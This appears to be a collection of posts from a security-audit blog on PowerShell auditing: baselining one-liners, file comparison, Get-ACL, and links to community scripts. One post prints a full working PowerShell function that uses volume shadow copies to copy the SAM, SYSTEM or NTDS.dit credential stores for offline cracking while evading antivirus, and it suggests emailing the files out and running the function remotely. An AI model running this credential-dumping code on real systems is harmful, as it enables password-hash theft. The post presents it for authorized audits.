Community PowerShell Security Audit Scripts

Back in December we posted a couple scripts that fellow auditors had pointed out to us that helped auditors dump Microsoft Windows file permissions to a CSV file for easier auditing. As a result of that post we’ve had feedback from a number of people that it would be helpful to see more of these scripts and even some suggestions for PowerShell audit scripts that we might want to share with others.

Two scripts immediately jumped out to us this past month as comprehensive PowerShell audit scripts that might help people who are auditing Microsoft Windows systems. These might inspire you to write your own script or maybe you just want to use these in the course of your audits. So we’ll share them here for you in the hopes that they make your life as an auditor easier.

The first script was posted to the Microsoft Script Center and was written to perform a comprehensive system audit of multiple machines that are detected in an Active Directory environment:

http://gallery.technet.microsoft.com/scriptcenter/Computer-Network-Audit-6593a48d

The second script we wanted to share was written by Alan Renouf and we especially liked this one because of the nicely formatted output after auditing a system:

http://poshcode.org/639

Both of these scripts illustrate the ideas we’ve been trying to teach people of automating your audit efforts. These are both good examples of what we hope you all are creating. If you do have further suggestions, please pass them along. You can email [email protected] if you have more resources you’d like us to share with the community.

Extracting Windows Passwords with PowerShell

Happy New Year! I hope everyone has had a great holiday season so far and is excited and ready for a new year full of auditing excitement! For the first post of the year I thought we would discuss a topic more for fun and something different in the hopes of inspiring you to spend a little more with PowerShell and scripting.

WARNING: Please do not attempt anything we’re about to discuss without clear permission from everyone and anyone you can think of. If you don’t have permission, don’t do it!! Anyways…

One problem auditors and penetration testers often have when auditing passwords is that most of the tools that are commonly used to extract passwords from a Windows system are viewed as malware by the anti-virus software installed on the system. Or if you have whitelisting software installed, then you are only able to execute the binaries approved in advance by management. But what if you want to rely on native tools and commands to do your assessment and you want to “live off the land”? That’s where Microsoft’s PowerShell comes in handy.

The folks at ObscureSecurity.com (http://www.obscuresecurity.blogspot.com/) contributed a function to the Microsoft Scripting Center called Get-PasswordFile. The idea of the script is to use native PowerShell functions to extract a local SAM database from a Microsoft Windows computer without causing damage to the underlying operating system or trigger an anti-virus alert. If you’re not sure what to do with a PowerShell function, here’s some advise you might want to read as well (http://www.mikepfeiffer.net/2010/06/how-to-add-functions-to-your-powershell-session/).

Here’s the code for their function:

function Get-PasswordFile { 
<# 
.SYNOPSIS 
 
    Copies either the SAM or NTDS.dit and system files to a specified directory. 
 
.PARAMETER DestinationPath 
 
    Specifies the directory to the location where the password files are to be copied. 
 
.OUTPUTS 
 
    None or an object representing the copied items. 
 
.EXAMPLE 
 
    Get-PasswordFile "c:\temp" 
 
#> 
 
    [CmdletBinding()] 
    Param 
    ( 
        [Parameter(Mandatory = $true, Position = 0)] 
        [ValidateScript({Test-Path $_ -PathType 'Container'})]  
        [ValidateNotNullOrEmpty()] 
        [String]  
        $DestinationPath      
    ) 
 
        #Define Copy-RawItem helper function from http://gallery.technet.microsoft.com/scriptcenter/Copy-RawItem-Private-NET-78917643 
        function Copy-RawItem 
        { 
 
        [CmdletBinding()] 
        [OutputType([System.IO.FileSystemInfo])] 
        Param ( 
            [Parameter(Mandatory = $True, Position = 0)] 
            [ValidateNotNullOrEmpty()] 
            [String] 
            $Path, 
 
            [Parameter(Mandatory = $True, Position = 1)] 
            [ValidateNotNullOrEmpty()] 
            [String] 
            $Destination, 
 
            [Switch] 
            $FailIfExists 
        ) 
 
        # Get a reference to the internal method - Microsoft.Win32.Win32Native.CopyFile() 
        $mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ($_.Location.Split('\')[-1] -eq 'mscorlib.dll')} 
        $Win32Native = $mscorlib.GetType('Microsoft.Win32.Win32Native') 
        $CopyFileMethod = $Win32Native.GetMethod('CopyFile', ([Reflection.BindingFlags] 'NonPublic, Static'))  
 
        # Perform the copy 
        $CopyResult = $CopyFileMethod.Invoke($null, @($Path, $Destination, ([Bool] $PSBoundParameters['FailIfExists']))) 
 
        $HResult = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 
 
        if ($CopyResult -eq $False -and $HResult -ne 0) 
        { 
            # An error occured. Display the Win32 error set by CopyFile 
            throw ( New-Object ComponentModel.Win32Exception ) 
        } 
        else 
        { 
            Write-Output (Get-ChildItem $Destination) 
        } 
    } 
  
    #Check for admin rights
    if (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
    {
        Write-Error "Not running as admin. Run the script with elevated credentials"
        Return
    }
        
    #Get "vss" service startup type 
    $VssStartMode = (Get-WmiObject -Query "Select StartMode From Win32_Service Where Name='vss'").StartMode 
    if ($VssStartMode -eq "Disabled") {Set-Service vss -StartUpType Manual} 
 
    #Get "vss" Service status and start it if not running 
    $VssStatus = (Get-Service vss).status  
    if ($VssStatus -ne "Running") {Start-Service vss} 
 
        #Check to see if we are on a DC 
        $DomainRole = (Get-WmiObject Win32_ComputerSystem).DomainRole 
        $IsDC = $False 
        if ($DomainRole -gt 3) { 
            $IsDC = $True 
            $NTDSLocation = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\services\NTDS\Parameters)."DSA Database File" 
            $FileDrive = ($NTDSLocation).Substring(0,3) 
        } else {$FileDrive = $Env:HOMEDRIVE + '\'} 
     
        #Create a volume shadow filedrive 
        $WmiClass = [WMICLASS]"root\cimv2:Win32_ShadowCopy" 
        $ShadowCopy = $WmiClass.create($FileDrive, "ClientAccessible") 
        $ReturnValue = $ShadowCopy.ReturnValue 
 
        if ($ReturnValue -ne 0) { 
            Write-Error "Shadow copy failed with a value of $ReturnValue" 
            Return 
        }  
     
        #Get the DeviceObject Address 
        $ShadowID = $ShadowCopy.ShadowID 
        $ShadowVolume = (Get-WmiObject Win32_ShadowCopy | Where-Object {$_.ID -eq $ShadowID}).DeviceObject 
     
            #If not a DC, copy System and SAM to specified directory 
            if ($IsDC -ne $true) { 
 
                $SamPath = Join-Path $ShadowVolume "\Windows\System32\Config\sam"  
                $SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system" 
 
                #Utilizes Copy-RawItem from Matt Graeber 
                Copy-RawItem $SamPath "$DestinationPath\sam" 
                Copy-RawItem $SystemPath "$DestinationPath\system" 
            } else { 
             
                #Else copy the NTDS.dit and system files to the specified directory             
                $NTDSPath = Join-Path $ShadowVolume "\Windows\NTDS\NTDS.dit"  
                $SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system" 
 
                Copy-RawItem $NTDSPath "$DestinationPath\ntds" 
                Copy-RawItem $SystemPath "$DestinationPath\system" 
            }     
     
        #Return "vss" service to previous state 
        If ($VssStatus -eq "Stopped") {Stop-Service vss} 
        If ($VssStartMode -eq "Disabled") {Set-Service vss -StartupType Disabled} 
}

Once you have the local SAM database from a computer the next step would be to examine the databases in your favorite password cracking tool offline, such as Cain from http://oxit.it.

In general those of you who know me know that I’m always a little hesitant to recommend that auditors especially consider password cracking at all. If an auditor chooses to run a script like this there should be a clear business reason for running the script, and should only be done with clearly documented management approval. But a script like this, downloading the SAM database from a local computer can still have quite a few benefits. Some of the controls an auditor might be able to test with this file are:

    Are only the appropriate user accounts on each local computer?
    Are any local user accounts using blank passwords?
    Are any local user accounts using the same password?
    Are any local user accounts using passwords that do not match the organization’s password policies?

So what else could we do with this script? From an automation and penetration testing perspective there’s all sorts of creative things we could do next. Just a few creative ideas you might consider:

    Automate the script to download the local SAM database
    Automate the script to encrypt the SAM and email it to the penetration tester
    Automate the script to run against multiple remote computers

There’s just all sorts of fun that a penetration tester or auditor could have with this tool if they really wanted to. Again, I hope this code is useful to you and your security efforts. To a great 2014!

Community PowerShell File Permission Audit Scripts

Often times as we talk with auditors or students in our classes audit scripts are brought to our attention that might be useful to people performing audits of various technical systems. Sometimes we write helpful scripts and when we do we’ll post them here for you to review. But sometimes we find the scripts and want to make you aware of them in case they help make your job easier.

This month we found two scripts that we think might help you out and both enable auditors of Microsoft Windows systems to use PowerShell to dump file system permissions to a CSV file so you can parse them in Excel or you favorite spreadsheet program.

The first script was written by John Milner, and he gives a full explanation of its capabilities here:

http://jfrmilner.wordpress.com/2011/05/01/audit-ntfs-permissions-powershell-script/

The second script was written by Roman Zarka and is a little more in depth. You can learn more about his audit script here:

http://blogs.technet.com/b/zarkatech/archive/2012/01/14/audit-file-server-permissions-using-powershell.aspx

If you have other favorites that you would like to share with the AuditScripts community, please don’t keep them to yourselves. Email us at [email protected] if you have other resources that you think would help your fellow auditors in their audit efforts.

Automating Audit Baselines – A Case Study

Quite a few times in this blog we’ve talked about automating audit and assessment tasks, especially as it relates to system baselines. We’ve tried quite a few times to give our readers tools for creating baselines and always hope that people will turn those baselines into automated processes that will alert them to deviations or changes to their systems.

Certainly one way to do this is via commercial products. Many companies have purchased file integrity assessment toolkits, such as those by Tripwire, in order to help automate this process. Others have turned to lower cost mechanisms such as scripting tools to do the same thing, although maybe not as elegantly.

In doing a little reading online at the Microsoft Script Center, I found a nice case study who decided to use scripting to accomplish their automation goals. Ben Wilkinson from Microsoft posted a series of blog articles where he describes the process of automating and alerting on changes to group memberships using Microsoft scripting technologies. Here’s a link to the full set of articles:

http://gallery.technet.microsoft.com/scriptcenter/655180ff-6236-4718-8dee-0f5b9b4a1f06

I think it’s worth highlighting and applauding efforts like this. If you aren’t already using an automated process like this to assist you with your continuous audit efforts, hopefully you can receive some inspiration from what Ben has posted here. Thanks Ben for the posts.

More PowerShell Audit One Liners

In our last couple posts we described how to gather a general baseline of system demographics on a Microsoft Windows system you’ve been tasked with auditing. Hopefully the posts gave everyone some ideas for the capabilities that PowerShell offers, even if the information we gathered isn’t all that exciting. In this post I thought we would show you additional examples you could try if you want to explore other pieces of information you might be able to gather with PowerShell and WMI during an audit.

Once you have the general syntax of these commands, even if you don’t fully understand the scripting behind it, you should be able to copy and paste these commands into an audit script. If you want a full library of the various WMI objects that Microsoft makes available or the attributes they return, check out this link over at Microsoft:

http://msdn.microsoft.com/en-us/library/aa394084(v=vs.85).aspx

So here are a few other examples of WMI queries that might be useful during an audit:

List the available IPv4 Address(es) from a system:

get-wmiobject Win32_NetworkAdapterConfiguration | fl Name,IPAddress

List the available IPv6 Address(es) from a system:

ifconfig -a | awk '/inet6 addr:/ { print $3 }'

List the available MAC Address(es) from a system:

get-wmiobject Win32_NetworkAdapterConfiguration | fl Name,MACAddress

List the User Accounts on a system:

get-wmiobject Win32_UserAccount | ft Name,SID

List the Groups on a system:

get-wmiobject Win32_Group | ft Name,SID

I hope these help to inspire you to try out scripting in your audits and maybe even consider writing a few audit scripts of your own.

Using SystemInfo.exe to Baseline a System

After our last post on gathering system demographics using PowerShell (specifically the Get-Object cmdlet) we had a few auditors mention to us that there are other ways to do it as well. We couldn’t agree more and we’re glad they brought it up. Microsoft seems to like to give us choices for how we perform job tasks, and this is no exception.

One other very popular way to gather information from a Microsoft Windows system is through the built-in systeminfo.exe utility. This command has been available at the command line since Microsoft Windows XP, and so in the course of an audit you’re very likely to find this command native on any Windows system you happen to be auditing.

One of the other nice things about this command is the fact that it is very, very simple to run. Simply type the name of the binary into a cmd.exe or powershell.exe terminal window and the tool will query information about the underlying system you’re examining.

There aren’t many options or command line switches that you can use to customize the output, but there are a few. Microsoft documents all of the options you do have at http://technet.microsoft.com/en-us/library/bb491007.aspx. From that same article, here are the options that they make available to you:

[framed_box]/s Computer : Specifies the name or IP address of a remote computer (do not use backslashes). The default is the local computer.
/u Domain \ User : Runs the command with the account permissions of the user specified by User or Domain\User. The default is the permissions of the current logged on user on the computer issuing the command.
/p Password : Specifies the password of the user account that is specified in the /u parameter.
/fo { TABLE | LIST | CSV } : Specifies the format to use for the output. Valid values are TABLE, LIST, and CSV. The default format for output is LIST.
/nh : Suppresses column headers in the output. Valid when the /fo parameter is set to TABLE or CSV.
/? : Displays help at the command prompt[/framed_box]

So a few of the nice features you can see from the utility already is the ability to run the command against remote computers, the ability to specify the output format of the data (including CSV format), and even the ability to suppress the headers in a CSV file to make it easier to parse later.

So if you haven’t tried this utility as a part of your baselining efforts yet, we definitely would recommend that you check it out. It’s another one of those nice auditing goodies Microsoft has built into the operating system for us.

PowerShell Audit One Liners

Over our last few posts we’ve talked a lot about using Unix BASH scripting to audit Unix systems. But we certainly don’t want our Windows friends to feel left out. The more I talk with people and listen to their security challenges, the more interest I hear about how to use PowerShell for audit or security purposes. Who knows, maybe it’s your New Year’s resolution to learn PowerShell this year and integrate it more into your audit activities. Well if it is, maybe we can help to inspire you and get you started on the right foot.

Just like last month, we thought we would post scripting one liners that you can use to query information about a system you’re auditing. These one liners also work very nice in incident response scenarios as well if you find your self in that situation.

For consistency’s sake, I’ll start by following the same script we used on Unix the last few months. As a first step, what commands might someone issue in order to gather general demographic information about a Windows system they’re auditing using PowerShell. Here’s a few to get started:

Display the name of the system:

(get-wmiobject win32_computersystem).Name

Display the domain name of the system:

(get-wmiobject win32_computersystem).Domain

Display the CPU installed in the sytem:

(get-wmiobject win32_processor).Name

Display the CPU speed of the installed CPU:

(get-wmiobject win32_processor).MaxClockSpeed

Display the installed physical memory:

(get-wmiobject Win32_ComputerSystem).TotalPhysicalMemory / 1GB

Display the available memory on the system:

(get-wmiobject Win32_OperatingSystem).FreePhysicalMemory / 1GB

In all these cases so far we’re using the Get-WMIObject cmdlet in PowerShell to gather general demographic information. The nice thing about running each of these commands in PowerShell is that you can easily place them all into one script and you aren’t dependent on any OS specific or version specific binaries being present on the system. As long as PowerShell is available on the system (which certainly most all Windows boxes should have it by now), you’re able to use these commands.
We’ll post more ideas to add to your scripts later, but hopefully scripting is on your list of things to learn this year and we can give you a little shove in the right direction.

Comparing Text Files in Windows

So last month we wrote a post about the built in capabilities of Microsoft Windows to be able to perform comparisons of two text files. Personally when I am comparing two files I am concerned that I can do it from the command line, can easily automate the comparison, and that the output is easy to parse and understand.

Built into Windows the three most common options I have seen to compare text files are:

  • FC.EXE (Windows Binary)
  • COMP.EXE (Windows Binary)
  • COMPARE-OBJECT (PowerShell cmdlet)

As I have said before, COMPARE-OBJECT is about the best option of the three choices, but it sure would be nice if there were more advanced options available with the tool. Ideally we would all have access to a free utility that would meet all the requirements we have been discussing here. But alas, I am not sure we are going to find that right now. So on the commercial side, what is left?

There are quite a few third party tools you might consider. Some of the more popular ones I have seen people use are:

  • WinDiff
  • ExamDiff
  • WinMerge
  • Beyond Compare

If you are looking for a free utility (open source), that also works from the command line, then you should check out WinMerge. If definitely looks like an intriguing project and it meets most of my requirements for a good file differential tool. You can learn more about it at http://winmerge.org/.

But lately I have been most impressed by Beyond Compare’s software (located at . The only downside to the project is that it is commercial. So if you’re planning on deploying it to a large number of systems you may need to shell out some coin. But it’s reasonably priced, so we cannot complain too much.

Not only does the tool meet all of our requirements though, it also comes with a few other nice bells and whistles, like the ability to compare registry settings, the ability to use the unified diff output format, more granular control of comparisons themselves, etc. We do not even get a commission from these folks, but their software seems to be the best suited if you’re looking for a fully capable system.

My guess is that most of us can get away with using WinMerge on a large scale for day to day and basic differentials. But if you really need more advanced capabilities, then forking over the money for a Beyond Compare license is likely worth it.

Comparing Two Files with PowerShell

One of the concepts that we have written about over and over again on this blog is the principal of baselining and how to compare the present state of a system with a known good snapshot of the same attribute of a system. If for instance we have a server with 10 running services on it today, and tomorrow we examine the system and discover that there are 11 running services, then something just isn’t right. In the immortal words of Sesame Street, “One of these things is not like the other. One of these things are not the same…”

So let’s say you have a baseline created for some attribute of an operating system. How would you go about doing a comparison of a snapshot you took earlier and one that you just took? To start let’s assume that these snapshots are text based. If they are binary snapshots then we have a whole different set of issues to worry about. But assuming the two snapshots are the output of the same command (just taken at a different time) and the output is text based, then we’re in business.

If you’re working with a Unix / Linux system, then you would definitely reach for the stalwart DIFF utility. It’s been around forever and it is a system administrator’s favorite.

With Microsoft PowerShell though we have to make a decision. The DIFF binary is not available in PowerShell (although there is a DIFF alias). However there are two commands that are built into Windows and that have been available since the days of CMD.EXE. These two built in commands are FC.EXE and COMP.EXE. Unfortunately both of them tend to be unreliable and give strange results when using them for baselining. So what else can we do?

Thankfully PowerShell has introduced the cmdlet COMPARE-OBJECT (and yes, as you guessed, DIFF is an alias to this cmdlet). With PowerShell, you can take two objects, give them to COMPARE-OBJECT, and it will give you a comparison between the two objects. These objects can be anything, but for our purposes we will be focusing on text files. But there’s nothing to say you could not compare user accounts from Active Directory, Registry Keys, or any other objects.

The syntax for the command is:

Compare-object object1 object2

However there is one gotcha. If you compare two text files this way, then the cmdlet will simply say, “Yes, the name of the text files file1.txt and file2.txt are different.” So if you want to compare the content of two text files there is an extra step to take. You have to introduce the GET-CONTENT cmdlet in order to compare the content of the two files. Therefore the new (and usable) syntax would work like this:

Compare-object (get-content file1.txt) (get-content file2.txt)

The results of this command will show you the side indicator of what is different between the two files and in which of the two files the added text exists in. It’s kind of a funny arrow based system, but it’s easy enough to understand.

Now you should be all set. So if you have been getting in the habit of baselining your systems, then these commands might be useful when you are trying to automate a comparison between two snapshots. Next you probably want to automate things further with a command line email utility (I like the built in PowerShell capabilities

Auditing Windows Permissions with Get-ACL

One of the new Microsoft PowerShell cmdlets that auditors should appreciate is the GET-ACL cmdlet. Now, through native PowerShell commands, an auditor can retrieve a list of all the permissions associated with a given Windows object. The output from this command can be used to create a permissions baseline if someone is trying to alert on permissions changes. Or this command could be used to generate a list of all the permissions associated with a given objects. Through a simple syntax, an auditor can dump a list of all the permissions associated with a given Microsoft Windows object.

The simple syntax to run the command against a file system object would be the following:

Get-Acl c:\tools\ | Format-List

However you can also run this command against a number of different Microsoft Windows objects, including registry keys, Active Directory objects, printers, or anything else with an access control list associated with it. For example, to perform a similar command against a registry hive, the following command would work:

Get-Acl HKCU:\Software\Microsoft\Windows | Format-list

In addition, when using the –AUDIT parameter, an auditor can dump a list of the System Access Control Lists (SACLs) that are associated with an object in order to determine the logging settings configured on an object. The following shows an example of how to perform the command:

get-Acl -audit c:\tools\ | Format-list

Finally Daniel Carrarini has posted an interesting script for dumping access that shows some of the full features of the command. Here is a link to his blog post as well:

http://carrarini.blogspot.com/2011/08/powershell-script-for-dumping-access.html